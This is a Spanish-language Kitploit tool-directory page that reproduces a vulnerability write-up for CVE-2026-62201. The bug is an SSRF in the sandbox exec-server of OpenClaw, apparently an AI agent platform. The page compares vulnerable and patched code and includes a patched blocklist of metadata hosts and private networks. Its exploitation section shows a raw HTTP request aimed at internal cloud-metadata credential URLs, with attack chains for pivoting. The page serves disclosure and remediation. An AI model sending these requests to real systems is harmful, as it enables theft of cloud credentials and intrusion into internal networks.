Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Análisis en profundidad de CVE-2026-62201: Omisión de la política de red del sandbox exec-server de OpenClaw (SSRF). Causa raíz, código vulnerable frente al parcheado, explotación, detección y remediación. | Kitploit
Herramientas/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Análisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad en la Nube
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Análisis en profundidad de CVE-2026-62201: Omisión de la política de red del sandbox exec-server de OpenClaw (SSRF). Causa raíz, código vulnerable frente al parcheado, explotación, detección y remediación.

Ver Repositorio
16hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-62201 — Omisión de la política de red del Exec-Server del sandbox de OpenClaw (SSRF)

Gravedad: Alta · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Resumen de la vulnerabilidad

CampoValor
AvisoGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProductoOpenClaw (paquete npm openclaw) — componente exec-server del sandbox
Afectadoopenclaw < 2026.6.6
Corregido2026.6.6 y posteriores
Causa raízFalta de validación SSRF en el helper HTTP integrado del exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
Commit de corrección21410d1c — "fix(codex): guard sandbox http requests"
Vector de ataqueHTTP POST al manejador http/request del exec-server con una URL controlada por el atacante
ImpactoUn llamador con privilegios bajos alcanza destinos de red internos (metadatos de la nube, IPs privadas, servicios de localhost) que la política de red de OpenClaw debería bloquear

Resumen

OpenClaw es una plataforma de agentes de IA cuyo exec-server del sandbox expone un helper de peticiones HTTP que los agentes usan para realizar llamadas web salientes. Las versiones anteriores a 2026.6.6 incluían ese helper sin protección SSRF: un llamador de menor confianza — cualquier agente, herramienta o ruta de entrada que la plataforma considere menos confiable que un operador de gateway — podía enviar una URL arbitraria y hacer que el exec-server la obtuviera desde dentro de la red del host.

Las comprobaciones de política de red que se aplican a la salida directa del sandbox no se aplicaban cuando las peticiones transitaban por la interfaz HTTP del exec-server. Esa inconsistencia es la vulnerabilidad: el exec-server actuaba como un proxy HTTP sin restricciones hacia la red interna.


Análisis técnico en profundidad

El componente: Exec-Server del sandbox

Cuando OpenClaw ejecuta un agente Codex en un sandbox, inicia un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) que aloja métodos JSON-RPC sobre un transporte WebSocket/HTTP. Uno de esos métodos, http/request, permite al agente obtener URLs. La implementación canaliza la petición a través de un pequeño script Python integrado — SANDBOX_HTTP_REQUEST_SCRIPT — que realiza el trabajo real de urllib.

El manejador de peticiones se encuentra en extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Código vulnerable ([email protected])

El helper Python recibía la URL y solo comprobaba el esquema:

# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

Esa es toda la barrera. No había:

  • ❌ Lista negra de nombres de host (localhost, *.internal, metadata.google.internal …)
  • ❌ Rechazo de IPs privadas / link-local / loopback
  • ❌ Comprobación de resolución DNS (el nombre de host podía resolverse a una IP interna)
  • ❌ Validación de redirecciones — una redirección a http://169.254.169.254/ se seguía a ciegas

Resultado: {"method":"GET","url":"http://<host-interno>/"} devolvía el cuerpo de la respuesta interna al llamador. El exec-server era un proxy abierto hacia la red del host.

La corrección ([email protected])

El commit 21410d1c añadió defensa en profundidad en ambas capas:

Capa 1 — Pre-comprobación en TypeScript (assertSandboxHttpRequestTargetAllowed en http.ts):

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Capa 2 — Refuerzo del helper Python (assert_url_allowed en el script integrado):

  • Nombres de host bloqueados: localhost, localhost.localdomain, metadata.google.internal, más sufijos *.localhost, *.local, *.internal
  • IPs de metadatos de la nube: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Redes IPv4/IPv6 bloqueadas: CGNAT 100.64.0.0/10, benchmarking 198.18.0.0/15, documentación 2001:db8::/32, y más
  • Clasificación ipaddress: loopback, privada, link-local, multicast, reservada, sin especificar
  • Fijación de resolución DNS: el nombre de host se resuelve antes de la petición, cada dirección resuelta se comprueba, y las direcciones comprobadas se fijan luego para la conexión real (previene el DNS-rebinding)
  • GuardedRedirectHandler: cada salto de redirección vuelve a ejecutar assert_url_allowed antes de seguirse
  • Extracción de IPv4 embebida en IPv6: las formas mapeadas (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP se desenvuelven y su IPv4 embebida se comprueba
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Explotación

Requisitos previos

  • Una instancia de OpenClaw en ejecución < 2026.6.6 con el exec-server del sandbox habilitado
  • Capacidad de alcanzar el endpoint HTTP del exec-server e invocar http/request (la plataforma trata esto como acceso de privilegios bajos — p. ej. un plugin, una herramienta o una ruta de entrada, no un operador de gateway)

Recorrido paso a paso

Paso 1 — Enviar una petición dirigida a un servicio interno:

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Paso 2 — Respuesta vulnerable (HTTP 200):

El exec-server obtenía la URL interna y devolvía el cuerpo al llamador — envuelto en base64 como bodyBase64:

{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Decodificado:

{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Paso 3 — Respuesta corregida (HTTP 502):

{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

El destino interno es inalcanzable a través del exec-server en las versiones corregidas.

Ejemplos de cadena de ataque

  1. Exfiltración de metadatos de la nube — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenciales IAM
  2. Pivoting — alcanzar consolas de administración, bases de datos y otros servicios internos en el espacio RFC 1918 que nunca debieron ser accesibles desde el exec-server
  3. Servicios de localhost — http://127.0.0.1:<puerto>/ para golpear interfaces de gestión no autenticadas co-ubicadas

Impacto y justificación del CVSS

Descargar herramienta